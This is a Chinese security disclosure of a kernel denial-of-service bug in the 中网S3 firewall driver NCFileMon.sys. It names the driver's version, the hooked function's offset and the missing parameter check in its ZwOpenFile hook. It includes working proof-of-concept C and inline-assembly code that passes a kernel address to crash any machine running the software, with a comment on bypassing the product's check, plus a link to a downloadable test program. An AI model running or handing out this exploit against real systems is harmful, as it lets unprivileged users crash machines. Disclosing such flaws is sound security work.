作者:MJ0011
中网S3是一款号称4D & 4M齐全的防火墙、HIDS/HIPS软件
其最新版本3.5.0.2及以下所有版本的驱动程序存在多出内核拒绝服务漏洞,可使任何权限用户在安装了中网S3的系统上引发蓝屏
出问题的组件(已验证版本):NCFileMon.sys ,版本:5.2.3700.0(囧) , CheckSum = 0x00036d61,TimeStamp = 0x46f774e2
驱动中对于SSDT部分函数的inline hook存在参数检查不严格的问题,用户态传入错误参数即可导致驱动出错,引发系统崩溃,蓝屏重启。
示例函数: hk_ZwOpenFile
验证版本函数偏移量:0x97f6
ZwOpenFile的原型是:
NTSTATUS ZwOpenFile( __out PHANDLE FileHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __out PIO_STATUS_BLOCK IoStatusBlock, __in ULONG ShareAccess, __in ULONG OpenOptions )
该HOOK函数对于第三个参数 ObjectAttributes->ObjectName->Buffer未作有效性验证,只判断了是否为空。另外,由于该HOOK函数体 内有结构化异常处理,但是该处理机制只对用户模式地址访问异常有效,因此我们构造错误的内核地址参数,即可引发蓝屏
测试代码:
HMODULE hlib = LoadLibrary("ntdll.dll"); PVOID p = GetProcAddress(hlib , "ZwOpenFile");
OBJECT_ATTRIBUTES oba ; UNICODE_STRING strname ; strname.Buffer = (PWSTR)0x80000000 ;
oba.ObjectName = &strname ;
IO_STATUS_BLOCK iosb ; HANDLE hfile ;
__asm{
push 0 push 0 lea eax , iosb push eax lea eax,oba push eax push 0x40000000 //set access mask to bypass S3 's check lea eax,hfile push eax call p
}
用户态任意权限的程序运行此代码后,即可引发系统蓝屏重启
测试程序下载:http://mj0011.ys168.com ,漏洞演示目录下 :BSOD_ncS3.rar
另外,S3中验证缓存有效性的方法存在一定问题,虽然较难由用户态主动触发,但有一定引发蓝屏的几率,另外,其校验方法也比正规的参数校验方法消耗更多的CPU时间,因此安装了中网S3主机安全系统的机器可能会有较大程度的非必要性能降低
|